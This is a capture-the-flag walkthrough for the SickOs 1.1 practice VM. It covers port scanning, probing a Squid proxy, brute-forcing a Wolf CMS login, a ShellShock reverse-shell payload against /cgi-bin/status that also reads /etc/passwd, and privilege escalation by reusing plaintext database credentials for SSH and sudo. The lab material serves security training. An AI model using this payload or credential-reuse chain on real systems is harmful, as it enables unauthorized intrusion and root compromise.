SickOs 1.1 ToC

This CTF gives a clear analogy how hacking strategies can be performed on a network to compromise it in a safe environment. This vm is very similar to labs I faced in OSCP. The objective being to compromise the network/machine and gain Administrative/root privileges on them.,132/

Level 1.1

First we do a port scan to find services:

root@kali:/tmp# nmap -sV -A

22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp closed http-proxy
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8

The most appealing service in the web proxy running on 3128. We use netcat to connect to it:

root@kali:/tmp# nc -vvv 3128 inverse host lookup failed: Unknown host
(UNKNOWN) [] 3128 (?) open
GET / HTTP/1.1

HTTP/1.0 400 Bad Request
Server: squid/3.1.19
<p>The following error was encountered while trying to retrieve the URL: <a href="/">/</a></p>

<blockquote id="error">
<p><b>Invalid URL</b></p>

We can see it is running a Proxy sever, so we try requesting a random URL, such as loopback port 80:

root@kali:/tmp# nc -vvv 3128 inverse host lookup failed: Unknown host
(UNKNOWN) [] 3128 (?) open
Connection: Close

HTTP/1.0 200 OK
Date: Wed, 20 Sep 2017 20:02:29 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Vary: Accept-Encoding
Content-Length: 21
Content-Type: text/html
X-Cache: MISS from localhost
X-Cache-Lookup: MISS from localhost:3128
Via: 1.0 localhost (squid/3.1.19)
Connection: keep-alive


So the machine is running an HTTP server on port 80. I script a connection to every port to see if it is running other service but find nothing interesting.

We can configure Burp to use as Upstream Proxy and browse **. I also run a directory discovery scan with Dist.

It finds robots.txt, which contains a dissallow for */wolfcms*. Opening that in the browser shows a CMS with a couple of posts. There is also a login page at ** and in the posts it shows it has been posted by Administrator, so I run a brute force attack against the login.

It turns out the system blocks you after 3 attempts. I look on the internet and find a RCE vulnerability due to unrestricted file uploads. The exploit URL is

But the service requires user authentication.

Some other interesting files are **


print "I Try to connect things very frequently\n"
print "You may want to try my services"

The directory bruteforce also discovers the following URLs:

The most interesting one is /cgi-bin/status which is known for applications vulnerable to ShellShock. In the end I manage to get a reverse shell with the following payload:

Host: 1127.0.0.1
user-agent: () { :; }; /bin/bash -c '/bin/bash -i > /dev/tcp/ 0<&1 2>&1; id; cat /etc/passwd';
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 0

root@kali:/# nc -lvp 31337
listening on [any] 31337 ...
connect to [] from (UNKNOWN) [] 46700
bash: no job control in this shell
www-data@SickOs:/usr/lib/cgi-bin$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

The kernel is outdated. I try a couple of local exploits but there are many gcc dependencies missing. Probably it is not the right root, I keep looking though the filesystem for unusual files, binaries with SUID bit and finally in the root of the CMS there is the config.php file with the following:

define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');

I try logging in through SSH as root, running sudo and su, no luck.

I connect to the database but there is nothing useful there. I look in home folders, nothing. After a few attempts I find out there is a user in /etc/passwd called sickos. I try the previous credentials and get a shell. Sickos is in the sudoers group, so I can just sudo with the same password.

root@kali:/# ssh sickos@
sickos@'s password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)
sickos@SickOs:~$ sudo su
[sudo] password for sickos: